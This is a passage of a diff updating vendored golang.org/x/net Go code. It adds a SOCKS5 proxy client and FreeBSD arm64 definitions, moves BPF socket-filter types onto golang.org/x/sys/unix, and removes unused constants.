// See version list in https://github.com/DragonFlyBSD/DragonFlyBSD/blob/master/sys/sys/param.h
|
||||
var (
|
||||
osreldateOnce sync.Once
|
||||
osreldate uint32
|
||||
)
|
||||
|
||||
// First __DragonFly_version after September 2019 ABI changes
|
||||
// http://lists.dragonflybsd.org/pipermail/users/2019-September/358280.html
|
||||
const _dragonflyABIChangeVersion = 500705
|
||||
|
||||
func probeProtocolStack() int {
|
||||
osreldateOnce.Do(func() { osreldate, _ = syscall.SysctlUint32("kern.osreldate") })
|
||||
var p uintptr
|
||||
if int(unsafe.Sizeof(p)) == 8 && osreldate >= _dragonflyABIChangeVersion {
|
||||
return int(unsafe.Sizeof(p))
|
||||
}
|
||||
// 64-bit Dragonfly before the September 2019 ABI changes still requires
|
||||
// 32-bit aligned access to network subsystem.
|
||||
return 4
|
||||
}
|
||||
|
168
vendor/golang.org/x/net/internal/socks/client.go
generated
vendored
Normal file
168
vendor/golang.org/x/net/internal/socks/client.go
generated
vendored
Normal file
@ -0,0 +1,168 @@
|
||||
// Copyright 2018 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package socks
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
noDeadline = time.Time{}
|
||||
aLongTimeAgo = time.Unix(1, 0)
|
||||
)
|
||||
|
||||
func (d *Dialer) connect(ctx context.Context, c net.Conn, address string) (_ net.Addr, ctxErr error) {
|
||||
host, port, err := splitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if deadline, ok := ctx.Deadline(); ok && !deadline.IsZero() {
|
||||
c.SetDeadline(deadline)
|
||||
defer c.SetDeadline(noDeadline)
|
||||
}
|
||||
if ctx != context.Background() {
|
||||
errCh := make(chan error, 1)
|
||||
done := make(chan struct{})
|
||||
defer func() {
|
||||
close(done)
|
||||
if ctxErr == nil {
|
||||
ctxErr = <-errCh
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
c.SetDeadline(aLongTimeAgo)
|
||||
errCh <- ctx.Err()
|
||||
case <-done:
|
||||
errCh <- nil
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
b := make([]byte, 0, 6+len(host)) // the size here is just an estimate
|
||||
b = append(b, Version5)
|
||||
if len(d.AuthMethods) == 0 || d.Authenticate == nil {
|
||||
b = append(b, 1, byte(AuthMethodNotRequired))
|
||||
} else {
|
||||
ams := d.AuthMethods
|
||||
if len(ams) > 255 {
|
||||
return nil, errors.New("too many authentication methods")
|
||||
}
|
||||
b = append(b, byte(len(ams)))
|
||||
for _, am := range ams {
|
||||
b = append(b, byte(am))
|
||||
}
|
||||
}
|
||||
if _, ctxErr = c.Write(b); ctxErr != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if _, ctxErr = io.ReadFull(c, b[:2]); ctxErr != nil {
|
||||
return
|
||||
}
|
||||
if b[0] != Version5 {
|
||||
return nil, errors.New("unexpected protocol version " + strconv.Itoa(int(b[0])))
|
||||
}
|
||||
am := AuthMethod(b[1])
|
||||
if am == AuthMethodNoAcceptableMethods {
|
||||
return nil, errors.New("no acceptable authentication methods")
|
||||
}
|
||||
if d.Authenticate != nil {
|
||||
if ctxErr = d.Authenticate(ctx, c, am); ctxErr != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
b = b[:0]
|
||||
b = append(b, Version5, byte(d.cmd), 0)
|
||||
if ip := net.ParseIP(host); ip != nil {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
b = append(b, AddrTypeIPv4)
|
||||
b = append(b, ip4...)
|
||||
} else if ip6 := ip.To16(); ip6 != nil {
|
||||
b = append(b, AddrTypeIPv6)
|
||||
b = append(b, ip6...)
|
||||
} else {
|
||||
return nil, errors.New("unknown address type")
|
||||
}
|
||||
} else {
|
||||
if len(host) > 255 {
|
||||
return nil, errors.New("FQDN too long")
|
||||
}
|
||||
b = append(b, AddrTypeFQDN)
|
||||
b = append(b, byte(len(host)))
|
||||
b = append(b, host...)
|
||||
}
|
||||
b = append(b, byte(port>>8), byte(port))
|
||||
if _, ctxErr = c.Write(b); ctxErr != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if _, ctxErr = io.ReadFull(c, b[:4]); ctxErr != nil {
|
||||
return
|
||||
}
|
||||
if b[0] != Version5 {
|
||||
return nil, errors.New("unexpected protocol version " + strconv.Itoa(int(b[0])))
|
||||
}
|
||||
if cmdErr := Reply(b[1]); cmdErr != StatusSucceeded {
|
||||
return nil, errors.New("unknown error " + cmdErr.String())
|
||||
}
|
||||
if b[2] != 0 {
|
||||
return nil, errors.New("non-zero reserved field")
|
||||
}
|
||||
l := 2
|
||||
var a Addr
|
||||
switch b[3] {
|
||||
case AddrTypeIPv4:
|
||||
l += net.IPv4len
|
||||
a.IP = make(net.IP, net.IPv4len)
|
||||
case AddrTypeIPv6:
|
||||
l += net.IPv6len
|
||||
a.IP = make(net.IP, net.IPv6len)
|
||||
case AddrTypeFQDN:
|
||||
if _, err := io.ReadFull(c, b[:1]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l += int(b[0])
|
||||
default:
|
||||
return nil, errors.New("unknown address type " + strconv.Itoa(int(b[3])))
|
||||
}
|
||||
if cap(b) < l {
|
||||
b = make([]byte, l)
|
||||
} else {
|
||||
b = b[:l]
|
||||
}
|
||||
if _, ctxErr = io.ReadFull(c, b); ctxErr != nil {
|
||||
return
|
||||
}
|
||||
if a.IP != nil {
|
||||
copy(a.IP, b)
|
||||
} else {
|
||||
a.Name = string(b[:len(b)-2])
|
||||
}
|
||||
a.Port = int(b[len(b)-2])<<8 | int(b[len(b)-1])
|
||||
return &a, nil
|
||||
}
|
||||
|
||||
func splitHostPort(address string) (string, int, error) {
|
||||
host, port, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
portnum, err := strconv.Atoi(port)
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
if 1 > portnum || portnum > 0xffff {
|
||||
return "", 0, errors.New("port number out of range " + port)
|
||||
}
|
||||
return host, portnum, nil
|
||||
}
|
317
vendor/golang.org/x/net/internal/socks/socks.go
generated
vendored
Normal file
317
vendor/golang.org/x/net/internal/socks/socks.go
generated
vendored
Normal file
@ -0,0 +1,317 @@
|
||||
// Copyright 2018 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package socks provides a SOCKS version 5 client implementation.
|
||||
//
|
||||
// SOCKS protocol version 5 is defined in RFC 1928.
|
||||
// Username/Password authentication for SOCKS version 5 is defined in
|
||||
// RFC 1929.
|
||||
package socks
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
// A Command represents a SOCKS command.
|
||||
type Command int
|
||||
|
||||
func (cmd Command) String() string {
|
||||
switch cmd {
|
||||
case CmdConnect:
|
||||
return "socks connect"
|
||||
case cmdBind:
|
||||
return "socks bind"
|
||||
default:
|
||||
return "socks " + strconv.Itoa(int(cmd))
|
||||
}
|
||||
}
|
||||
|
||||
// An AuthMethod represents a SOCKS authentication method.
|
||||
type AuthMethod int
|
||||
|
||||
// A Reply represents a SOCKS command reply code.
|
||||
type Reply int
|
||||
|
||||
func (code Reply) String() string {
|
||||
switch code {
|
||||
case StatusSucceeded:
|
||||
return "succeeded"
|
||||
case 0x01:
|
||||
return "general SOCKS server failure"
|
||||
case 0x02:
|
||||
return "connection not allowed by ruleset"
|
||||
case 0x03:
|
||||
return "network unreachable"
|
||||
case 0x04:
|
||||
return "host unreachable"
|
||||
case 0x05:
|
||||
return "connection refused"
|
||||
case 0x06:
|
||||
return "TTL expired"
|
||||
case 0x07:
|
||||
return "command not supported"
|
||||
case 0x08:
|
||||
return "address type not supported"
|
||||
default:
|
||||
return "unknown code: " + strconv.Itoa(int(code))
|
||||
}
|
||||
}
|
||||
|
||||
// Wire protocol constants.
|
||||
const (
|
||||
Version5 = 0x05
|
||||
|
||||
AddrTypeIPv4 = 0x01
|
||||
AddrTypeFQDN = 0x03
|
||||
AddrTypeIPv6 = 0x04
|
||||
|
||||
CmdConnect Command = 0x01 // establishes an active-open forward proxy connection
|
||||
cmdBind Command = 0x02 // establishes a passive-open forward proxy connection
|
||||
|
||||
AuthMethodNotRequired AuthMethod = 0x00 // no authentication required
|
||||
AuthMethodUsernamePassword AuthMethod = 0x02 // use username/password
|
||||
AuthMethodNoAcceptableMethods AuthMethod = 0xff // no acceptable authentication methods
|
||||
|
||||
StatusSucceeded Reply = 0x00
|
||||
)
|
||||
|
||||
// An Addr represents a SOCKS-specific address.
|
||||
// Either Name or IP is used exclusively.
|
||||
type Addr struct {
|
||||
Name string // fully-qualified domain name
|
||||
IP net.IP
|
||||
Port int
|
||||
}
|
||||
|
||||
func (a *Addr) Network() string { return "socks" }
|
||||
|
||||
func (a *Addr) String() string {
|
||||
if a == nil {
|
||||
return "<nil>"
|
||||
}
|
||||
port := strconv.Itoa(a.Port)
|
||||
if a.IP == nil {
|
||||
return net.JoinHostPort(a.Name, port)
|
||||
}
|
||||
return net.JoinHostPort(a.IP.String(), port)
|
||||
}
|
||||
|
||||
// A Conn represents a forward proxy connection.
|
||||
type Conn struct {
|
||||
net.Conn
|
||||
|
||||
boundAddr net.Addr
|
||||
}
|
||||
|
||||
// BoundAddr returns the address assigned by the proxy server for
|
||||
// connecting to the command target address from the proxy server.
|
||||
func (c *Conn) BoundAddr() net.Addr {
|
||||
if c == nil {
|
||||
return nil
|
||||
}
|
||||
return c.boundAddr
|
||||
}
|
||||
|
||||
// A Dialer holds SOCKS-specific options.
|
||||
type Dialer struct {
|
||||
cmd Command // either CmdConnect or cmdBind
|
||||
proxyNetwork string // network between a proxy server and a client
|
||||
proxyAddress string // proxy server address
|
||||
|
||||
// ProxyDial specifies the optional dial function for
|
||||
// establishing the transport connection.
|
||||
ProxyDial func(context.Context, string, string) (net.Conn, error)
|
||||
|
||||
// AuthMethods specifies the list of request authentication
|
||||
// methods.
|
||||
// If empty, SOCKS client requests only AuthMethodNotRequired.
|
||||
AuthMethods []AuthMethod
|
||||
|
||||
// Authenticate specifies the optional authentication
|
||||
// function. It must be non-nil when AuthMethods is not empty.
|
||||
// It must return an error when the authentication is failed.
|
||||
Authenticate func(context.Context, io.ReadWriter, AuthMethod) error
|
||||
}
|
||||
|
||||
// DialContext connects to the provided address on the provided
|
||||
// network.
|
||||
//
|
||||
// The returned error value may be a net.OpError. When the Op field of
|
||||
// net.OpError contains "socks", the Source field contains a proxy
|
||||
// server address and the Addr field contains a command target
|
||||
// address.
|
||||
//
|
||||
// See func Dial of the net package of standard library for a
|
||||
// description of the network and address parameters.
|
||||
func (d *Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if err := d.validateTarget(network, address); err != nil {
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
|
||||
}
|
||||
if ctx == nil {
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: errors.New("nil context")}
|
||||
}
|
||||
var err error
|
||||
var c net.Conn
|
||||
if d.ProxyDial != nil {
|
||||
c, err = d.ProxyDial(ctx, d.proxyNetwork, d.proxyAddress)
|
||||
} else {
|
||||
var dd net.Dialer
|
||||
c, err = dd.DialContext(ctx, d.proxyNetwork, d.proxyAddress)
|
||||
}
|
||||
if err != nil {
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
|
||||
}
|
||||
a, err := d.connect(ctx, c, address)
|
||||
if err != nil {
|
||||
c.Close()
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
|
||||
}
|
||||
return &Conn{Conn: c, boundAddr: a}, nil
|
||||
}
|
||||
|
||||
// DialWithConn initiates a connection from SOCKS server to the target
|
||||
// network and address using the connection c that is already
|
||||
// connected to the SOCKS server.
|
||||
//
|
||||
// It returns the connection's local address assigned by the SOCKS
|
||||
// server.
|
||||
func (d *Dialer) DialWithConn(ctx context.Context, c net.Conn, network, address string) (net.Addr, error) {
|
||||
if err := d.validateTarget(network, address); err != nil {
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
|
||||
}
|
||||
if ctx == nil {
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: errors.New("nil context")}
|
||||
}
|
||||
a, err := d.connect(ctx, c, address)
|
||||
if err != nil {
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
|
||||
}
|
||||
return a, nil
|
||||
}
|
||||
|
||||
// Dial connects to the provided address on the provided network.
|
||||
//
|
||||
// Unlike DialContext, it returns a raw transport connection instead
|
||||
// of a forward proxy connection.
|
||||
//
|
||||
// Deprecated: Use DialContext or DialWithConn instead.
|
||||
func (d *Dialer) Dial(network, address string) (net.Conn, error) {
|
||||
if err := d.validateTarget(network, address); err != nil {
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
|
||||
}
|
||||
var err error
|
||||
var c net.Conn
|
||||
if d.ProxyDial != nil {
|
||||
c, err = d.ProxyDial(context.Background(), d.proxyNetwork, d.proxyAddress)
|
||||
} else {
|
||||
c, err = net.Dial(d.proxyNetwork, d.proxyAddress)
|
||||
}
|
||||
if err != nil {
|
||||
proxy, dst, _ := d.pathAddrs(address)
|
||||
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
|
||||
}
|
||||
if _, err := d.DialWithConn(context.Background(), c, network, address); err != nil {
|
||||
c.Close()
|
||||
return nil, err
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func (d *Dialer) validateTarget(network, address string) error {
|
||||
switch network {
|
||||
case "tcp", "tcp6", "tcp4":
|
||||
default:
|
||||
return errors.New("network not implemented")
|
||||
}
|
||||
switch d.cmd {
|
||||
case CmdConnect, cmdBind:
|
||||
default:
|
||||
return errors.New("command not implemented")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Dialer) pathAddrs(address string) (proxy, dst net.Addr, err error) {
|
||||
for i, s := range []string{d.proxyAddress, address} {
|
||||
host, port, err := splitHostPort(s)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
a := &Addr{Port: port}
|
||||
a.IP = net.ParseIP(host)
|
||||
if a.IP == nil {
|
||||
a.Name = host
|
||||
}
|
||||
if i == 0 {
|
||||
proxy = a
|
||||
} else {
|
||||
dst = a
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// NewDialer returns a new Dialer that dials through the provided
|
||||
// proxy server's network and address.
|
||||
func NewDialer(network, address string) *Dialer {
|
||||
return &Dialer{proxyNetwork: network, proxyAddress: address, cmd: CmdConnect}
|
||||
}
|
||||
|
||||
const (
|
||||
authUsernamePasswordVersion = 0x01
|
||||
authStatusSucceeded = 0x00
|
||||
)
|
||||
|
||||
// UsernamePassword are the credentials for the username/password
|
||||
// authentication method.
|
||||
type UsernamePassword struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// Authenticate authenticates a pair of username and password with the
|
||||
// proxy server.
|
||||
func (up *UsernamePassword) Authenticate(ctx context.Context, rw io.ReadWriter, auth AuthMethod) error {
|
||||
switch auth {
|
||||
case AuthMethodNotRequired:
|
||||
return nil
|
||||
case AuthMethodUsernamePassword:
|
||||
if len(up.Username) == 0 || len(up.Username) > 255 || len(up.Password) == 0 || len(up.Password) > 255 {
|
||||
return errors.New("invalid username/password")
|
||||
}
|
||||
b := []byte{authUsernamePasswordVersion}
|
||||
b = append(b, byte(len(up.Username)))
|
||||
b = append(b, up.Username...)
|
||||
b = append(b, byte(len(up.Password)))
|
||||
b = append(b, up.Password...)
|
||||
// TODO(mikio): handle IO deadlines and cancelation if
|
||||
// necessary
|
||||
if _, err := rw.Write(b); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := io.ReadFull(rw, b[:2]); err != nil {
|
||||
return err
|
||||
}
|
||||
if b[0] != authUsernamePasswordVersion {
|
||||
return errors.New("invalid username/password version")
|
||||
}
|
||||
if b[1] != authStatusSucceeded {
|
||||
return errors.New("username/password authentication failed")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return errors.New("unsupported authentication method " + strconv.Itoa(int(auth)))
|
||||
}
|
3
vendor/golang.org/x/net/ipv4/control_bsd.go
generated
vendored
3
vendor/golang.org/x/net/ipv4/control_bsd.go
generated
vendored
@ -35,6 +35,7 @@ func marshalInterface(b []byte, cm *ControlMessage) []byte {
|
||||
}
|
||||
|
||||
func parseInterface(cm *ControlMessage, b []byte) {
|
||||
sadl := (*syscall.SockaddrDatalink)(unsafe.Pointer(&b[0]))
|
||||
var sadl syscall.SockaddrDatalink
|
||||
copy((*[unsafe.Sizeof(sadl)]byte)(unsafe.Pointer(&sadl))[:], b)
|
||||
cm.IfIndex = int(sadl.Index)
|
||||
}
|
||||
|
9
vendor/golang.org/x/net/ipv4/defs_linux.go
generated
vendored
9
vendor/golang.org/x/net/ipv4/defs_linux.go
generated
vendored
@ -78,9 +78,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = C.SO_EE_ORIGIN_TXSTATUS
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = C.SO_EE_ORIGIN_TIMESTAMPING
|
||||
|
||||
sysSOL_SOCKET = C.SOL_SOCKET
|
||||
sysSO_ATTACH_FILTER = C.SO_ATTACH_FILTER
|
||||
|
||||
sizeofKernelSockaddrStorage = C.sizeof_struct___kernel_sockaddr_storage
|
||||
sizeofSockaddrInet = C.sizeof_struct_sockaddr_in
|
||||
sizeofInetPktinfo = C.sizeof_struct_in_pktinfo
|
||||
@ -93,8 +90,6 @@ const (
|
||||
sizeofGroupSourceReq = C.sizeof_struct_group_source_req
|
||||
|
||||
sizeofICMPFilter = C.sizeof_struct_icmp_filter
|
||||
|
||||
sizeofSockFprog = C.sizeof_struct_sock_fprog
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage C.struct___kernel_sockaddr_storage
|
||||
@ -116,7 +111,3 @@ type groupReq C.struct_group_req
|
||||
type groupSourceReq C.struct_group_source_req
|
||||
|
||||
type icmpFilter C.struct_icmp_filter
|
||||
|
||||
type sockFProg C.struct_sock_fprog
|
||||
|
||||
type sockFilter C.struct_sock_filter
|
||||
|
1
vendor/golang.org/x/net/ipv4/header.go
generated
vendored
1
vendor/golang.org/x/net/ipv4/header.go
generated
vendored
@ -16,7 +16,6 @@ import (
|
||||
const (
|
||||
Version = 4 // protocol version
|
||||
HeaderLen = 20 // header length without extension headers
|
||||
maxHeaderLen = 60 // sensible default, revisit if later RFCs define new usage of version and header length fields
|
||||
)
|
||||
|
||||
type HeaderFlags int
|
||||
|
3
vendor/golang.org/x/net/ipv4/helper.go
generated
vendored
3
vendor/golang.org/x/net/ipv4/helper.go
generated
vendored
@ -15,13 +15,10 @@ import (
|
||||
var (
|
||||
errInvalidConn = errors.New("invalid connection")
|
||||
errMissingAddress = errors.New("missing address")
|
||||
errMissingHeader = errors.New("missing header")
|
||||
errNilHeader = errors.New("nil header")
|
||||
errHeaderTooShort = errors.New("header too short")
|
||||
errExtHeaderTooShort = errors.New("extension header too short")
|
||||
errInvalidConnType = errors.New("invalid conn type")
|
||||
errNoSuchInterface = errors.New("no such interface")
|
||||
errNoSuchMulticastInterface = errors.New("no such multicast interface")
|
||||
errNotImplemented = errors.New("not implemented on " + runtime.GOOS + "/" + runtime.GOARCH)
|
||||
|
||||
// See https://www.freebsd.org/doc/en/books/porters-handbook/versions.html.
|
||||
|
3
vendor/golang.org/x/net/ipv4/sys_asmreq.go
generated
vendored
3
vendor/golang.org/x/net/ipv4/sys_asmreq.go
generated
vendored
@ -7,12 +7,15 @@
|
||||
package ipv4
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/net/internal/socket"
|
||||
)
|
||||
|
||||
var errNoSuchInterface = errors.New("no such interface")
|
||||
|
||||
func (so *sockOpt) setIPMreq(c *socket.Conn, ifi *net.Interface, grp net.IP) error {
|
||||
mreq := ipMreq{Multiaddr: [4]byte{grp[0], grp[1], grp[2], grp[3]}}
|
||||
if err := setIPMreqInterface(&mreq, ifi); err != nil {
|
||||
|
7
vendor/golang.org/x/net/ipv4/sys_bpf.go
generated
vendored
7
vendor/golang.org/x/net/ipv4/sys_bpf.go
generated
vendored
@ -11,13 +11,14 @@ import (
|
||||
|
||||
"golang.org/x/net/bpf"
|
||||
"golang.org/x/net/internal/socket"
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func (so *sockOpt) setAttachFilter(c *socket.Conn, f []bpf.RawInstruction) error {
|
||||
prog := sockFProg{
|
||||
prog := unix.SockFprog{
|
||||
Len: uint16(len(f)),
|
||||
Filter: (*sockFilter)(unsafe.Pointer(&f[0])),
|
||||
Filter: (*unix.SockFilter)(unsafe.Pointer(&f[0])),
|
||||
}
|
||||
b := (*[sizeofSockFprog]byte)(unsafe.Pointer(&prog))[:sizeofSockFprog]
|
||||
b := (*[unix.SizeofSockFprog]byte)(unsafe.Pointer(&prog))[:unix.SizeofSockFprog]
|
||||
return so.Set(c, b)
|
||||
}
|
||||
|
3
vendor/golang.org/x/net/ipv4/sys_linux.go
generated
vendored
3
vendor/golang.org/x/net/ipv4/sys_linux.go
generated
vendored
@ -11,6 +11,7 @@ import (
|
||||
|
||||
"golang.org/x/net/internal/iana"
|
||||
"golang.org/x/net/internal/socket"
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
var (
|
||||
@ -35,7 +36,7 @@ var (
|
||||
ssoLeaveSourceGroup: {Option: socket.Option{Level: iana.ProtocolIP, Name: sysMCAST_LEAVE_SOURCE_GROUP, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
|
||||
ssoBlockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIP, Name: sysMCAST_BLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
|
||||
ssoUnblockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIP, Name: sysMCAST_UNBLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
|
||||
ssoAttachFilter: {Option: socket.Option{Level: sysSOL_SOCKET, Name: sysSO_ATTACH_FILTER, Len: sizeofSockFprog}},
|
||||
ssoAttachFilter: {Option: socket.Option{Level: unix.SOL_SOCKET, Name: unix.SO_ATTACH_FILTER, Len: unix.SizeofSockFprog}},
|
||||
}
|
||||
)
|
||||
|
||||
|
93
vendor/golang.org/x/net/ipv4/zsys_freebsd_arm64.go
generated
vendored
Normal file
93
vendor/golang.org/x/net/ipv4/zsys_freebsd_arm64.go
generated
vendored
Normal file
@ -0,0 +1,93 @@
|
||||
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
|
||||
// cgo -godefs defs_freebsd.go
|
||||
|
||||
package ipv4
|
||||
|
||||
const (
|
||||
sysIP_OPTIONS = 0x1
|
||||
sysIP_HDRINCL = 0x2
|
||||
sysIP_TOS = 0x3
|
||||
sysIP_TTL = 0x4
|
||||
sysIP_RECVOPTS = 0x5
|
||||
sysIP_RECVRETOPTS = 0x6
|
||||
sysIP_RECVDSTADDR = 0x7
|
||||
sysIP_SENDSRCADDR = 0x7
|
||||
sysIP_RETOPTS = 0x8
|
||||
sysIP_RECVIF = 0x14
|
||||
sysIP_ONESBCAST = 0x17
|
||||
sysIP_BINDANY = 0x18
|
||||
sysIP_RECVTTL = 0x41
|
||||
sysIP_MINTTL = 0x42
|
||||
sysIP_DONTFRAG = 0x43
|
||||
sysIP_RECVTOS = 0x44
|
||||
|
||||
sysIP_MULTICAST_IF = 0x9
|
||||
sysIP_MULTICAST_TTL = 0xa
|
||||
sysIP_MULTICAST_LOOP = 0xb
|
||||
sysIP_ADD_MEMBERSHIP = 0xc
|
||||
sysIP_DROP_MEMBERSHIP = 0xd
|
||||
sysIP_MULTICAST_VIF = 0xe
|
||||
sysIP_ADD_SOURCE_MEMBERSHIP = 0x46
|
||||
sysIP_DROP_SOURCE_MEMBERSHIP = 0x47
|
||||
sysIP_BLOCK_SOURCE = 0x48
|
||||
sysIP_UNBLOCK_SOURCE = 0x49
|
||||
sysMCAST_JOIN_GROUP = 0x50
|
||||
sysMCAST_LEAVE_GROUP = 0x51
|
||||
sysMCAST_JOIN_SOURCE_GROUP = 0x52
|
||||
sysMCAST_LEAVE_SOURCE_GROUP = 0x53
|
||||
sysMCAST_BLOCK_SOURCE = 0x54
|
||||
sysMCAST_UNBLOCK_SOURCE = 0x55
|
||||
|
||||
sizeofSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
|
||||
sizeofIPMreq = 0x8
|
||||
sizeofIPMreqn = 0xc
|
||||
sizeofIPMreqSource = 0xc
|
||||
sizeofGroupReq = 0x88
|
||||
sizeofGroupSourceReq = 0x108
|
||||
)
|
||||
|
||||
type sockaddrStorage struct {
|
||||
Len uint8
|
||||
Family uint8
|
||||
X__ss_pad1 [6]uint8
|
||||
X__ss_align int64
|
||||
X__ss_pad2 [112]uint8
|
||||
}
|
||||
|
||||
type sockaddrInet struct {
|
||||
Len uint8
|
||||
Family uint8
|
||||
Port uint16
|
||||
Addr [4]byte /* in_addr */
|
||||
Zero [8]uint8
|
||||
}
|
||||
|
||||
type ipMreq struct {
|
||||
Multiaddr [4]byte /* in_addr */
|
||||
Interface [4]byte /* in_addr */
|
||||
}
|
||||
|
||||
type ipMreqn struct {
|
||||
Multiaddr [4]byte /* in_addr */
|
||||
Address [4]byte /* in_addr */
|
||||
Ifindex int32
|
||||
}
|
||||
|
||||
type ipMreqSource struct {
|
||||
Multiaddr [4]byte /* in_addr */
|
||||
Sourceaddr [4]byte /* in_addr */
|
||||
Interface [4]byte /* in_addr */
|
||||
}
|
||||
|
||||
type groupReq struct {
|
||||
Interface uint32
|
||||
Group sockaddrStorage
|
||||
}
|
||||
|
||||
type groupSourceReq struct {
|
||||
Interface uint32
|
||||
Group sockaddrStorage
|
||||
Source sockaddrStorage
|
||||
}
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_386.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_386.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -133,16 +128,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_amd64.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_amd64.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -135,16 +130,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_arm.go
generated
vendored
18
